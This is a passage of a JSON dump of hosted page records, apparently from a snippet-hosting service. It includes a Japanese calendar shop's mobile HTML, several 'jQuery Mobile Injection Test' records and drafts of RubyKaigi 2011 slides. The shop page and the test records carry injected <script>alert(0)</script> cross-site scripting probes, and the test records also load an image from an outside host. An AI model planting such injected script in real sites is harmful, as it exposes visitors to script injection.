/\u003e\r\n\r\n\u003c/li\u003e\t\u003cli class=\"item list clearfix\"\u003e\r\n\t\t\u003cfigure class=\"image\"\u003e\r\n\t\t\u003ca href=\"http://www.e-cale.com/view/1377/\" target=\"_self\"\u003e\r\n\t\t\u003cimg src=\"http://www.e-cale.com/images/item/2012/sb012-tops.jpg\" alt=\"杉原杏璃・マーメイドスマイル\" width=\"77\" height=\"165\" /\u003e\r\n\t\t\u003c/a\u003e\r\n\t\u003c/figure\u003e\r\n\t\t\u003cspan class=\"info\"\u003e\r\n\t\t\u003ca href=\"http://www.e-cale.com/view/1377/\"\u003e杉原杏璃・マーメイドスマイル\u003c/a\u003e\r\n\r\n\t\t\t\t\tグラビアアイドル 杉原杏璃(すぎはらあんり)のカレンダー。\u003cbr /\u003e\r\n\t\t\t\t\u003cspan class=\"price\"\u003e値段:\u0026yen;880円(税込)\u003c/span\u003e\r\n\t\t\u003cspan class=\"price\"\u003e送料無料でお届けしています\u003c/span\u003e\r\n\t\t\u003cform action=\"http://www.e-cale.com/shopping-cart/add/\" method=\"post\" class=\"btn\"\u003e\r\n\t\t \t\u003cinput type=\"hidden\" name=\"item_id\" value=\"1377\" /\u003e\r\n\t\t \u003cinput type=\"hidden\" name=\"mode\" value=\"add\" /\u003e\r\n\t\t \t\t \t\u003cinput type=\"submit\" value=\"カートに入れる\" class=\"button\" data-role=\"none\" /\u003e\r\n\r\n\t\t \t \t\u003c/form\u003e\r\n\t\u003c/span\u003e\r\n\t\u003cbr class=\"clear-both\" /\u003e\r\n\u003c/li\u003e\t\u003cli class=\"item list clearfix\"\u003e\r\n\t\t\u003cfigure class=\"image\"\u003e\r\n\t\t\u003ca href=\"http://www.e-cale.com/view/1375/\" target=\"_self\"\u003e\r\n\t\t\u003cimg src=\"http://www.e-cale.com/images/item/2012/sb008-tops.jpg\" alt=\"南明奈\" width=\"77\" height=\"165\" /\u003e\r\n\t\t\u003c/a\u003e\r\n\t\u003c/figure\u003e\r\n\r\n\t\t\u003cspan class=\"info\"\u003e\r\n\t\t\u003ca href=\"http://www.e-cale.com/view/1375/\"\u003e南明奈\u003c/a\u003e\r\n\t\t\t\t\t人気アイドル アッキーナの2012年版カレンダー。\u003cbr /\u003e\r\n\t\t\t\t\u003cspan class=\"price\"\u003e値段:\u0026yen;880円(税込)\u003c/span\u003e\r\n\t\t\u003cspan class=\"price\"\u003e送料無料でお届けしています\u003c/span\u003e\r\n\t\t\u003cform action=\"http://www.e-cale.com/shopping-cart/add/\" method=\"post\" class=\"btn\"\u003e\r\n\r\n\t\t \t\u003cinput type=\"hidden\" name=\"item_id\" value=\"1375\" /\u003e\r\n\t\t \u003cinput type=\"hidden\" name=\"mode\" value=\"add\" /\u003e\r\n\t\t \t\t \t\u003cinput type=\"submit\" value=\"カートに入れる\" class=\"button\" data-role=\"none\" /\u003e\r\n\t\t \t \t\u003c/form\u003e\r\n\t\u003c/span\u003e\r\n\t\u003cbr class=\"clear-both\" /\u003e\r\n\u003c/li\u003e\t\u003cli class=\"item list clearfix\"\u003e\r\n\t\t\u003cfigure class=\"image\"\u003e\r\n\t\t\u003ca href=\"http://www.e-cale.com/view/1316/\" target=\"_self\"\u003e\r\n\r\n\t\t\u003cimg src=\"http://www.e-cale.com/images/item/2012/sg410-tops.jpg\" alt=\"さくら\" width=\"77\" height=\"106\" /\u003e\r\n\t\t\u003c/a\u003e\r\n\t\u003c/figure\u003e\r\n\t\t\u003cspan class=\"info\"\u003e\r\n\t\t\u003ca href=\"http://www.e-cale.com/view/1316/\"\u003eさくら\u003c/a\u003e\r\n\t\t\t\t\t日本人なら誰もが好きな 桜の写真を集めたカレンダー。\u003cbr /\u003e\r\n\t\t\t\t\u003cspan class=\"price\"\u003e値段:\u0026yen;850円(税込)\u003c/span\u003e\r\n\r\n\t\t\u003cspan class=\"price\"\u003e送料無料でお届けしています\u003c/span\u003e\r\n\t\t\u003cform action=\"http://www.e-cale.com/shopping-cart/add/\" method=\"post\" class=\"btn\"\u003e\r\n\t\t \t\u003cinput type=\"hidden\" name=\"item_id\" value=\"1316\" /\u003e\r\n\t\t \u003cinput type=\"hidden\" name=\"mode\" value=\"add\" /\u003e\r\n\t\t \t\t \t\u003cinput type=\"submit\" value=\"カートに入れる\" class=\"button\" data-role=\"none\" /\u003e\r\n\t\t \t \t\u003c/form\u003e\r\n\t\u003c/span\u003e\r\n\t\u003cbr class=\"clear-both\" /\u003e\r\n\r\n\u003c/li\u003e\t\u003cli class=\"item list clearfix\"\u003e\r\n\t\t\u003cfigure class=\"image\"\u003e\r\n\t\t\u003ca href=\"http://www.e-cale.com/view/1328/\" target=\"_self\"\u003e\r\n\t\t\u003cimg src=\"http://www.e-cale.com/images/item/2012/sg514-tops.jpg\" alt=\"ピーター・モッツ作品集 フィルムカレンダー\" width=\"77\" height=\"112\" /\u003e\r\n\t\t\u003c/a\u003e\r\n\t\u003c/figure\u003e\r\n\t\t\u003cspan class=\"info\"\u003e\r\n\t\t\u003ca href=\"http://www.e-cale.com/view/1328/\"\u003eピーター・モッツ作品集 フィルムカレンダー\u003c/a\u003e\r\n\r\n\t\t\t\t\tピーター・モッツの2012年版フィルムカレンダー。\u003cbr /\u003e\r\n\t\t\t\t\u003cspan class=\"price\"\u003e値段:\u0026yen;1,550円(税込)\u003c/span\u003e\r\n\t\t\u003cspan class=\"price\"\u003e送料無料でお届けしています\u003c/span\u003e\r\n\t\t\u003cform action=\"http://www.e-cale.com/shopping-cart/add/\" method=\"post\" class=\"btn\"\u003e\r\n\t\t \t\u003cinput type=\"hidden\" name=\"item_id\" value=\"1328\" /\u003e\r\n\t\t \u003cinput type=\"hidden\" name=\"mode\" value=\"add\" /\u003e\r\n\t\t \t\t \t\u003cinput type=\"submit\" value=\"カートに入れる\" class=\"button\" data-role=\"none\" /\u003e\r\n\r\n\t\t \t \t\u003c/form\u003e\r\n\t\u003c/span\u003e\r\n\t\u003cbr class=\"clear-both\" /\u003e\r\n\u003c/li\u003e\t\u003cli class=\"item list clearfix\"\u003e\r\n\t\t\u003cfigure class=\"image\"\u003e\r\n\t\t\u003ca href=\"http://www.e-cale.com/view/1331/\" target=\"_self\"\u003e\r\n\t\t\u003cimg src=\"http://www.e-cale.com/images/item/2012/sg525-tops.jpg\" alt=\"平山郁夫作品集\" width=\"77\" height=\"112\" /\u003e\r\n\t\t\u003c/a\u003e\r\n\t\u003c/figure\u003e\r\n\r\n\t\t\u003cspan class=\"info\"\u003e\r\n\t\t\u003ca href=\"http://www.e-cale.com/view/1331/\"\u003e平山郁夫作品集\u003c/a\u003e\r\n\t\t\t\t\t日本画家で教育者の平山郁夫氏の作品。\u003cbr /\u003e\r\n\t\t\t\t\u003cspan class=\"price\"\u003e値段:\u0026yen;1,600円(税込)\u003c/span\u003e\r\n\t\t\u003cspan class=\"price\"\u003e送料無料でお届けしています\u003c/span\u003e\r\n\t\t\u003cform action=\"http://www.e-cale.com/shopping-cart/add/\" method=\"post\" class=\"btn\"\u003e\r\n\r\n\t\t \t\u003cinput type=\"hidden\" name=\"item_id\" value=\"1331\" /\u003e\r\n\t\t \u003cinput type=\"hidden\" name=\"mode\" value=\"add\" /\u003e\r\n\t\t \t\t \t\u003cinput type=\"submit\" value=\"カートに入れる\" class=\"button\" data-role=\"none\" /\u003e\r\n\t\t \t \t\u003c/form\u003e\r\n\t\u003c/span\u003e\r\n\t\u003cbr class=\"clear-both\" /\u003e\r\n\u003c/li\u003e\t\u003cli class=\"item list clearfix\"\u003e\r\n\t\t\u003cfigure class=\"image\"\u003e\r\n\t\t\u003ca href=\"http://www.e-cale.com/view/1278/\" target=\"_self\"\u003e\r\n\r\n\t\t\u003cimg src=\"http://www.e-cale.com/images/item/2012/nk415-tops.jpg\" alt=\"カラーズ\" width=\"77\" height=\"112\" /\u003e\r\n\t\t\u003c/a\u003e\r\n\t\u003c/figure\u003e\r\n\t\t\u003cspan class=\"info\"\u003e\r\n\t\t\u003ca href=\"http://www.e-cale.com/view/1278/\"\u003eカラーズ\u003c/a\u003e\r\n\t\t\t\t\tフランスの美しい風景を写真で楽しめるカレンダー。\u003cbr /\u003e\r\n\t\t\t\t\u003cspan class=\"price\"\u003e値段:\u0026yen;1,550円(税込)\u003c/span\u003e\r\n\r\n\t\t\u003cspan class=\"price\"\u003e送料無料でお届けしています\u003c/span\u003e\r\n\t\t\u003cform action=\"http://www.e-cale.com/shopping-cart/add/\" method=\"post\" class=\"btn\"\u003e\r\n\t\t \t\u003cinput type=\"hidden\" name=\"item_id\" value=\"1278\" /\u003e\r\n\t\t \u003cinput type=\"hidden\" name=\"mode\" value=\"add\" /\u003e\r\n\t\t \t\t \t\u003cinput type=\"submit\" value=\"カートに入れる\" class=\"button\" data-role=\"none\" /\u003e\r\n\t\t \t \t\u003c/form\u003e\r\n\t\u003c/span\u003e\r\n\t\u003cbr class=\"clear-both\" /\u003e\r\n\r\n\u003c/li\u003e\t\u003cli class=\"item list clearfix\"\u003e\r\n\t\t\u003cfigure class=\"image\"\u003e\r\n\t\t\u003ca href=\"http://www.e-cale.com/view/1275/\" target=\"_self\"\u003e\r\n\t\t\u003cimg src=\"http://www.e-cale.com/images/item/2012/nk407-tops.jpg\" alt=\"四季・前田真三・前田晃作品集\" width=\"77\" height=\"112\" /\u003e\r\n\t\t\u003c/a\u003e\r\n\t\u003c/figure\u003e\r\n\t\t\u003cspan class=\"info\"\u003e\r\n\t\t\u003ca href=\"http://www.e-cale.com/view/1275/\"\u003e四季・前田真三・前田晃作品集\u003c/a\u003e\r\n\r\n\t\t\t\t\t前田真三の豪華なフィルムカレンダー。\u003cbr /\u003e\r\n\t\t\t\t\u003cspan class=\"price\"\u003e値段:\u0026yen;1,550円(税込)\u003c/span\u003e\r\n\t\t\u003cspan class=\"price\"\u003e送料無料でお届けしています\u003c/span\u003e\r\n\t\t\u003cform action=\"http://www.e-cale.com/shopping-cart/add/\" method=\"post\" class=\"btn\"\u003e\r\n\t\t \t\u003cinput type=\"hidden\" name=\"item_id\" value=\"1275\" /\u003e\r\n\t\t \u003cinput type=\"hidden\" name=\"mode\" value=\"add\" /\u003e\r\n\t\t \t\t \t\u003cinput type=\"submit\" value=\"カートに入れる\" class=\"button\" data-role=\"none\" /\u003e\r\n\r\n\t\t \t \t\u003c/form\u003e\r\n\t\u003c/span\u003e\r\n\t\u003cbr class=\"clear-both\" /\u003e\r\n\u003c/li\u003e\t\u003cli class=\"item list clearfix\"\u003e\r\n\t\t\u003cfigure class=\"image\"\u003e\r\n\t\t\u003ca href=\"http://www.e-cale.com/view/1407/\" target=\"_self\"\u003e\r\n\t\t\u003cimg src=\"http://www.e-cale.com/images/item/2012/yg51-tops.jpg\" alt=\"前後月3色ジャンボ文字\" width=\"77\" height=\"112\" /\u003e\r\n\t\t\u003c/a\u003e\r\n\t\u003c/figure\u003e\r\n\r\n\t\t\u003cspan class=\"info\"\u003e\r\n\t\t\u003ca href=\"http://www.e-cale.com/view/1407/\"\u003e前後月3色ジャンボ文字\u003c/a\u003e\r\n\t\t\t\t\tB2サイズの大きめサイズのカレンダー。\u003cbr /\u003e\r\n\t\t\t\t\u003cspan class=\"price\"\u003e値段:\u0026yen;970円(税込)\u003c/span\u003e\r\n\t\t\u003cspan class=\"price\"\u003e送料無料でお届けしています\u003c/span\u003e\r\n\t\t\u003cform action=\"http://www.e-cale.com/shopping-cart/add/\" method=\"post\" class=\"btn\"\u003e\r\n\r\n\t\t \t\u003cinput type=\"hidden\" name=\"item_id\" value=\"1407\" /\u003e\r\n\t\t \u003cinput type=\"hidden\" name=\"mode\" value=\"add\" /\u003e\r\n\t\t \t\t \t\u003cinput type=\"submit\" value=\"カートに入れる\" class=\"button\" data-role=\"none\" /\u003e\r\n\t\t \t \t\u003c/form\u003e\r\n\t\u003c/span\u003e\r\n\t\u003cbr class=\"clear-both\" /\u003e\r\n\u003c/li\u003e\t\u003cli class=\"item list clearfix\"\u003e\r\n\t\t\u003cfigure class=\"image\"\u003e\r\n\t\t\u003ca href=\"http://www.e-cale.com/view/1335/\" target=\"_self\"\u003e\r\n\r\n\t\t\u003cimg src=\"http://www.e-cale.com/images/item/2012/sg946-tops.jpg\" alt=\"デスクスタンド・クラフト\" width=\"77\" height=\"68\" /\u003e\r\n\t\t\u003c/a\u003e\r\n\t\u003c/figure\u003e\r\n\t\t\u003cspan class=\"info\"\u003e\r\n\t\t\u003ca href=\"http://www.e-cale.com/view/1335/\"\u003eデスクスタンド・クラフト\u003c/a\u003e\r\n\t\t\t\t\tクラフト紙調のデスクスタンド。\u003cbr /\u003e\r\n\t\t\t\t\u003cspan class=\"price\"\u003e値段:\u0026yen;800円(税込)\u003c/span\u003e\r\n\r\n\t\t\u003cspan class=\"price\"\u003e送料無料でお届けしています\u003c/span\u003e\r\n\t\t\u003cform action=\"http://www.e-cale.com/shopping-cart/add/\" method=\"post\" class=\"btn\"\u003e\r\n\t\t \t\u003cinput type=\"hidden\" name=\"item_id\" value=\"1335\" /\u003e\r\n\t\t \u003cinput type=\"hidden\" name=\"mode\" value=\"add\" /\u003e\r\n\t\t \t\t \t\u003cinput type=\"submit\" value=\"カートに入れる\" class=\"button\" data-role=\"none\" /\u003e\r\n\t\t \t \t\u003c/form\u003e\r\n\t\u003c/span\u003e\r\n\t\u003cbr class=\"clear-both\" /\u003e\r\n\r\n\u003c/li\u003e\t\u003cli class=\"item list clearfix\"\u003e\r\n\t\t\u003cfigure class=\"image\"\u003e\r\n\t\t\u003ca href=\"http://www.e-cale.com/view/1371/\" target=\"_self\"\u003e\r\n\t\t\u003cimg src=\"http://www.e-cale.com/images/item/2012/yk3005-tops.jpg\" alt=\"シンプルデザインデスク\" width=\"77\" height=\"67\" /\u003e\r\n\t\t\u003c/a\u003e\r\n\t\u003c/figure\u003e\r\n\t\t\u003cspan class=\"info\"\u003e\r\n\t\t\u003ca href=\"http://www.e-cale.com/view/1371/\"\u003eシンプルデザインデスク\u003c/a\u003e\r\n\r\n\t\t\t\t\tシール付きで使いやすい卓上カレンダー。\u003cbr /\u003e\r\n\t\t\t\t\u003cspan class=\"price\"\u003e値段:\u0026yen;800円(税込)\u003c/span\u003e\r\n\t\t\u003cspan class=\"price\"\u003e送料無料でお届けしています\u003c/span\u003e\r\n\t\t\u003cform action=\"http://www.e-cale.com/shopping-cart/add/\" method=\"post\" class=\"btn\"\u003e\r\n\t\t \t\u003cinput type=\"hidden\" name=\"item_id\" value=\"1371\" /\u003e\r\n\t\t \u003cinput type=\"hidden\" name=\"mode\" value=\"add\" /\u003e\r\n\t\t \t\t \t\u003cinput type=\"submit\" value=\"カートに入れる\" class=\"button\" data-role=\"none\" /\u003e\r\n\r\n\t\t \t \t\u003c/form\u003e\r\n\t\u003c/span\u003e\r\n\t\u003cbr class=\"clear-both\" /\u003e\r\n\u003c/li\u003e\u003c/ul\u003e\r\n\r\n\u003ch2 class=\"defaultHeader\"\u003e最新ニュース\u003c/h2\u003e\r\n\u003cul data-role=\"listview\"\u003e\r\n\t\t\u003cli class=\"topic\"\u003e2011 06 30\r\n\t\u003ca href=\"news/33/\"\u003eE-カレンダー.com スマートフォン向けサイトリニューアル\u003c/a\u003e\u003c/li\u003e\r\n\t\t\u003cli class=\"topic\"\u003e2011 06 05\r\n\t\u003ca href=\"news/32/\"\u003e2012年版カレンダー 販売開始のお知らせ\u003c/a\u003e\u003c/li\u003e\r\n\r\n\t\t\u003cli class=\"topic\"\u003e2010 06 03\r\n\t\u003ca href=\"news/31/\"\u003e2011年版カレンダー販売開始のお知らせ\u003c/a\u003e\u003c/li\u003e\r\n\t\t\u003cli class=\"topic\"\u003e2009 11 17\r\n\t\u003ca href=\"news/30/\"\u003e2010年版名入れ印刷カレンダー受け付け終了\u003c/a\u003e\u003c/li\u003e\r\n\t\t\u003cli class=\"topic\"\u003e2009 10 02\r\n\t\u003ca href=\"news/29/\"\u003e2010年版名入れ印刷カレンダーについて\u003c/a\u003e\u003c/li\u003e\r\n\t\u003c/ul\u003e\t\t\u003cp class=\"copyrights\"\u003eCopyrights 2000-2011 E-カレンダー.com All Rights Reserved. \u003c/p\u003e\r\n\t\u003cfooter id=\"footer\" data-role=\"footer\" data-position=\"fixed\" data-id=\"footer\"\u003e\r\n\r\n\t\u003cnav data-role=\"navbar\"\u003e\r\n\t\u003cul\u003e\r\n\t\u003cli\u003e\u003ca href=\"http://www.e-cale.com/\"rel=“external” data-icon=\"home\"\u003eHOME\u003c/a\u003e\u003c/li\u003e\r\n\t\u003cli\u003e\u003ca href=\"http://www.e-cale.com/about/rule/\" rel=“external” data-icon=\"info\"\u003e通信販売法に基づく表記\u003c/a\u003e\u003c/li\u003e\r\n\t\u003cli\u003e\u003ca href=\"#mainMenu\" data-icon=\"grid\" data-transition=\"slideup\"\u003eメニュー\u003c/a\u003e\u003c/li\u003e\r\n\t\u003c/ul\u003e\r\n\t\u003c/nav\u003e\r\n\r\n\u003c/footer\u003e\r\n\u003c/div\u003e\r\n\r\n\r\n\u003csection id=\"mainMenu\" data-role=\"page\" data-theme=\"x\"\u003e\r\n\t\r\n\t\u003ch4 class=\"defaultHeader\"\u003eメインメニュー\u003c/h4\u003e\r\n\t\u003cul data-role=\"listview\"\u003e\r\n\t\t\u003cli data-icon=\"home\"\u003e\u003ca href=\"http://www.e-cale.com/\"\u003eホームへ戻る\u003c/a\u003e\u003c/li\u003e\r\n\t\t\u003cli data-icon=\"info\"\u003e\u003ca href=\"http://www.e-cale.com/\"\u003e通信販売法に基づく表記\u003c/a\u003e\u003c/li\u003e\r\n\t\t\u003cli data-icon=\"forward\"\u003e\u003ca href=\"https://www.e-cale.com/about/contact/\"\u003eお問い合わせ\u003c/a\u003e\u003c/li\u003e\r\n\r\n\t\u003c/ul\u003e\r\n\t\u003cbr /\u003e\r\n\t\u003cdiv data-role=\"collapsible\" data-collapsed=\"true\"\u003e \r\n\t\t\u003ch5 class=\"subHeader\"\u003eカテゴリーから選ぶ\u003c/h5\u003e\r\n\t\t\u003cul data-role=\"listview\"\u003e\r\n\t\t\t\t\t\t\u003cli class=\"list\"\u003e\u003ca href=\"http://www.e-cale.com/category/1/2012/\"\u003e美術・イラスト\u003c/a\u003e\u003c/li\u003e\r\n\t\t\t\t\t\t\u003cli class=\"list\"\u003e\u003ca href=\"http://www.e-cale.com/category/2/2012/\"\u003eアイドル・女優\u003c/a\u003e\u003c/li\u003e\r\n\t\t\t\t\t\t\u003cli class=\"list\"\u003e\u003ca href=\"http://www.e-cale.com/category/3/2012/\"\u003e日本風景・庭園\u003c/a\u003e\u003c/li\u003e\r\n\r\n\t\t\t\t\t\t\u003cli class=\"list\"\u003e\u003ca href=\"http://www.e-cale.com/category/4/2012/\"\u003e外国風景\u003c/a\u003e\u003c/li\u003e\r\n\t\t\t\t\t\t\u003cli class=\"list\"\u003e\u003ca href=\"http://www.e-cale.com/category/5/2012/\"\u003e花・ガーデニング\u003c/a\u003e\u003c/li\u003e\r\n\t\t\t\t\t\t\u003cli class=\"list\"\u003e\u003ca href=\"http://www.e-cale.com/category/6/2012/\"\u003e犬・猫・動物\u003c/a\u003e\u003c/li\u003e\r\n\t\t\t\t\t\t\u003cli class=\"list\"\u003e\u003ca href=\"http://www.e-cale.com/category/7/2012/\"\u003eスケジュール\u003c/a\u003e\u003c/li\u003e\r\n\t\t\t\t\t\t\u003cli class=\"list\"\u003e\u003ca href=\"http://www.e-cale.com/category/10/2012/\"\u003e家庭・健康・その他\u003c/a\u003e\u003c/li\u003e\r\n\t\t\t\t\t\t\u003cli class=\"list\"\u003e\u003ca href=\"http://www.e-cale.com/category/8/2012/\"\u003eデスクスタンド・手帳\u003c/a\u003e\u003c/li\u003e\r\n\r\n\t\t\t\t\t\t\u003cli class=\"list\"\u003e\u003ca href=\"http://www.e-cale.com/category/9/2012/\"\u003eフィルムカレンダー\u003c/a\u003e\u003c/li\u003e\r\n\t\t\t\t\t\u003c/ul\u003e\r\n\t\u003c/div\u003e\r\n\t\u003cdiv data-role=\"collapsible\" data-collapsed=\"true\"\u003e \r\n\t\t\u003ch5 class=\"subHeader\"\u003e印象から選ぶ\u003c/h5\u003e\r\n\t\t\u003cul data-role=\"listview\"\u003e\r\n\t\t\t\t\t\t\u003cli class=\"list\"\u003e\u003ca href=\"http://www.e-cale.com/impression/6/2012/\"\u003eオフィス向き\u003c/a\u003e\u003c/li\u003e\r\n\t\t\t\t\t\t\u003cli class=\"list\"\u003e\u003ca href=\"http://www.e-cale.com/impression/10/2012/\"\u003e書き込み可能\u003c/a\u003e\u003c/li\u003e\r\n\r\n\t\t\t\t\t\t\u003cli class=\"list\"\u003e\u003ca href=\"http://www.e-cale.com/impression/13/2012/\"\u003e前後月あり\u003c/a\u003e\u003c/li\u003e\r\n\t\t\t\t\t\t\u003cli class=\"list\"\u003e\u003ca href=\"http://www.e-cale.com/impression/14/2012/\"\u003e名入れ向き\u003c/a\u003e\u003c/li\u003e\r\n\t\t\t\t\t\t\u003cli class=\"list\"\u003e\u003ca href=\"http://www.e-cale.com/impression/4/2012/\"\u003eシンプル\u003c/a\u003e\u003c/li\u003e\r\n\t\t\t\t\t\t\u003cli class=\"list\"\u003e\u003ca href=\"http://www.e-cale.com/impression/29/2012/\"\u003e水着\u003c/a\u003e\u003c/li\u003e\r\n\t\t\t\t\t\t\u003cli class=\"list\"\u003e\u003ca href=\"http://www.e-cale.com/impression/12/2012/\"\u003eキャラクター\u003c/a\u003e\u003c/li\u003e\r\n\t\t\t\t\t\t\u003cli class=\"list\"\u003e\u003ca href=\"http://www.e-cale.com/impression/45/2012/\"\u003e人気商品\u003c/a\u003e\u003c/li\u003e\r\n\r\n\t\t\t\t\t\t\u003cli class=\"list\"\u003e\u003ca href=\"http://www.e-cale.com/impression/5/2012/\"\u003e実用的・機能的\u003c/a\u003e\u003c/li\u003e\r\n\t\t\t\t\t\t\u003cli class=\"list\"\u003e\u003ca href=\"http://www.e-cale.com/impression/7/2012/\"\u003eカワイイ\u003c/a\u003e\u003c/li\u003e\r\n\t\t\t\t\t\u003c/ul\u003e\t\r\n\t\u003c/div\u003e\t\r\n\t\u003ca href=\"#\" data-rel=\"back\" data-direction=\"reverse\" data-role=\"button\" data-icon=\"delete\" data-iconpos=\"top\"\u003e閉じる\u003c/a\u003e\r\n\t\r\n\u003c/section\u003e\r\n\r\n\r\n\u003csection id=\"searchBox\" data-role=\"page\" data-theme=\"x\"\u003e\r\n\t\u003ch5 class=\"defaultHeader\"\u003e商品検索\u003c/h5\u003e\r\n\r\n\t\u003cform action=\"http://www.e-cale.com/shopping/search/\" method=\"get\"\u003e\r\n\t\t\u003cinput type=\"text\" name=\"keyword\" value=\"\" /\u003e\t\t\r\n\t\t\u003cinput type=\"submit\" value=\"商品検索\" /\u003e\r\n\t\u003c/form\u003e\r\n\u003c/section\u003e\r\n\u003cscript\u003ealert(0)\u003c/script\u003e\r\n\u003c/body\u003e\r\n\u003c/html\u003e","created_at":"2011-07-08T05:48:24.000Z","updated_at":"2011-07-08T05:48:24.000Z"},{"id":1761,"name":"acme/test","body":"\u003cscript\u003ealert(0)\u003c/script\u003e\r\n\u003c!DOCTYPE html\u003e \r\n\u003chtml\u003e \r\n\t\u003chead\u003e \r\n\t\u003cmeta charset=\"utf-8\"\u003e \r\n\t\u003ctitle\u003ejQuery Mobile Injection Test\u003c/title\u003e \r\n\u003cbody\u003e \r\n \r\n\u003cdiv data-role=\"page\" class=\"type-interior\"\u003e \r\n\u003cimg src=\"http://oq.la/i\"\u003e \r\n\u003c/div\u003e\u003c!-- /page --\u003e \r\n \r\n\u003c/body\u003e \r\n\u003c/html\u003e \r\n","created_at":"2011-07-15T01:53:08.000Z","updated_at":"2011-07-15T01:53:08.000Z"},{"id":1762,"name":"acme/test","body":"\u003c!DOCTYPE html\u003e \r\n\u003cscript\u003ealert(0)\u003c/script\u003e\r\n\u003chtml\u003e \r\n\t\u003chead\u003e \r\n\t\u003cmeta charset=\"utf-8\"\u003e \r\n\t\u003ctitle\u003ejQuery Mobile Injection Test\u003c/title\u003e \r\n\u003cbody\u003e \r\n \r\n\u003cdiv data-role=\"page\" class=\"type-interior\"\u003e \r\n\u003cimg src=\"http://oq.la/i\"\u003e \r\n\u003c/div\u003e\u003c!-- /page --\u003e \r\n \r\n\u003c/body\u003e \r\n\u003c/html\u003e \r\n","created_at":"2011-07-15T01:53:17.000Z","updated_at":"2011-07-15T01:53:17.000Z"},{"id":1763,"name":"acme/test","body":"raw\r\n\u003cscript\u003ealert(0)\u003c/script\u003e\r\n\u003c!DOCTYPE html\u003e \r\n\u003chtml\u003e \r\n\t\u003chead\u003e \r\n\t\u003cmeta charset=\"utf-8\"\u003e \r\n\t\u003ctitle\u003ejQuery Mobile Injection Test\u003c/title\u003e \r\n\u003cbody\u003e \r\n \r\n\u003cdiv data-role=\"page\" class=\"type-interior\"\u003e \r\n\u003cimg src=\"http://oq.la/i\"\u003e \r\n\u003c/div\u003e\u003c!-- /page --\u003e \r\n \r\n\u003c/body\u003e \r\n\u003c/html\u003e \r\n","created_at":"2011-07-15T01:53:31.000Z","updated_at":"2011-07-15T01:53:31.000Z"},{"id":1764,"name":"acme/test","body":"html\r\n\u003cscript\u003ealert(0)\u003c/script\u003e\r\n\u003c!DOCTYPE html\u003e \r\n\u003chtml\u003e \r\n\t\u003chead\u003e \r\n\t\u003cmeta charset=\"utf-8\"\u003e \r\n\t\u003ctitle\u003ejQuery Mobile Injection Test\u003c/title\u003e \r\n\u003cbody\u003e \r\n \r\n\u003cdiv data-role=\"page\" class=\"type-interior\"\u003e \r\n\u003cimg src=\"http://oq.la/i\"\u003e \r\n\u003c/div\u003e\u003c!-- /page --\u003e \r\n \r\n\u003c/body\u003e \r\n\u003c/html\u003e \r\n","created_at":"2011-07-15T01:53:39.000Z","updated_at":"2011-07-15T01:53:39.000Z"},{"id":1765,"name":"acme/test","body":"raw\r\n\u003cscript\u003ealert(0)\u003c/script\u003e\r\n\u003c!DOCTYPE html\u003e \r\n\u003chtml\u003e \r\n\t\u003chead\u003e \r\n\t\u003cmeta charset=\"utf-8\"\u003e \r\n\t\u003ctitle\u003ejQuery Mobile Injection Test\u003c/title\u003e \r\n\u003cbody\u003e \r\n \r\n\u003cdiv data-role=\"page\" class=\"type-interior\"\u003e \r\n\u003cimg src=\"http://oq.la/i\"\u003e \r\n\u003c/div\u003e\u003c!-- /page --\u003e \r\n \r\n\u003c/body\u003e \r\n\u003c/html\u003e \r\n","created_at":"2011-07-15T01:53:45.000Z","updated_at":"2011-07-15T01:53:45.000Z"},{"id":1766,"name":"acme/test","body":"raw\r\n\r\n\u003c!DOCTYPE html\u003e \r\n\u003chtml\u003e \r\n\t\u003chead\u003e \r\n\t\u003cmeta charset=\"utf-8\"\u003e \r\n\t\u003ctitle\u003ejQuery Mobile Injection Test\u003c/title\u003e \r\n\u003cbody\u003e \r\n \r\n\u003cdiv data-role=\"page\" class=\"type-interior\"\u003e \r\n\u003cimg src=\"http://oq.la/i\"\u003e \r\n\u003c/div\u003e\u003c!-- /page --\u003e \r\n\u003cscript\u003ealert(0)\u003c/script\u003e\r\n\u003c/body\u003e \r\n\u003c/html\u003e \r\n","created_at":"2011-07-15T01:54:30.000Z","updated_at":"2011-07-15T01:54:30.000Z"},{"id":1767,"name":"acme/test","body":"html\r\n\u003c!DOCTYPE html\u003e \r\n\u003chtml\u003e \r\n\t\u003chead\u003e \r\n\t\u003cmeta charset=\"utf-8\"\u003e \r\n\t\u003ctitle\u003ejQuery Mobile Injection Test\u003c/title\u003e \r\n\u003cbody\u003e \r\n \r\n\u003cdiv data-role=\"page\" class=\"type-interior\"\u003e \r\n\u003cimg src=\"http://oq.la/i\"\u003e \r\n\u003c/div\u003e\u003c!-- /page --\u003e \r\n\u003cscript\u003ealert(0)\u003c/script\u003e\r\n\u003c/body\u003e \r\n\u003c/html\u003e \r\n","created_at":"2011-07-15T01:58:41.000Z","updated_at":"2011-07-15T01:58:41.000Z"},{"id":1768,"name":"rubykaigi2011/闇rubykaigi","body":"haml\r\n!!!\r\n%title 闇Ruby 会議発表 - なるほど四時じゃねーのと Ruby\r\n:css\r\n div{font-size:72px;\r\n margin-bottom:800px;}\r\n%div\r\n %p なるほど四時じゃねーのと Ruby\r\n","created_at":"2011-07-16T07:18:44.000Z","updated_at":"2011-07-16T07:18:44.000Z"},{"id":1769,"name":"rubykaigi2011/闇rubykaigi","body":"haml\r\n!!!\r\n%title 闇Ruby 会議発表 - なるほど四時じゃねーのと Ruby\r\n:css\r\n div{font-size:72px;\r\n margin-bottom:800px;}\r\n%div\r\n %p なるほど四時じゃねーのと Ruby\r\n %p @ssig33\r\n%div\r\n %p about me\r\n %p\r\n %a{:href =\u003e \"/\"}http://ssig33.com\r\n%div\r\n %p abount なるほど四時じゃねーの","created_at":"2011-07-16T07:19:29.000Z","updated_at":"2011-07-16T07:19:29.000Z"},{"id":1770,"name":"rubykaigi2011/闇rubykaigi","body":"haml\r\n!!!\r\n%title 闇Ruby 会議発表 - なるほど四時じゃねーのと Ruby\r\n:css\r\n div{font-size:72px;\r\n margin-bottom:800px;}\r\n%div\r\n %p なるほど四時じゃねーのと Ruby\r\n %p @ssig33\r\n%div\r\n %p about me\r\n %p\r\n %a{:href =\u003e \"/\"}http://ssig33.com\r\n%div\r\n %p about なるほど四時じゃねーの","created_at":"2011-07-16T07:20:02.000Z","updated_at":"2011-07-16T07:20:02.000Z"},{"id":1771,"name":"rubykaigi2011/闇rubykaigi","body":"haml\r\n!!!\r\n%title 闇Ruby 会議発表 - なるほど四時じゃねーのと Ruby\r\n:css\r\n div{font-size:80px;\r\n margin-bottom:800px;}\r\n%div\r\n %p なるほど四時じゃねーのと Ruby\r\n %p 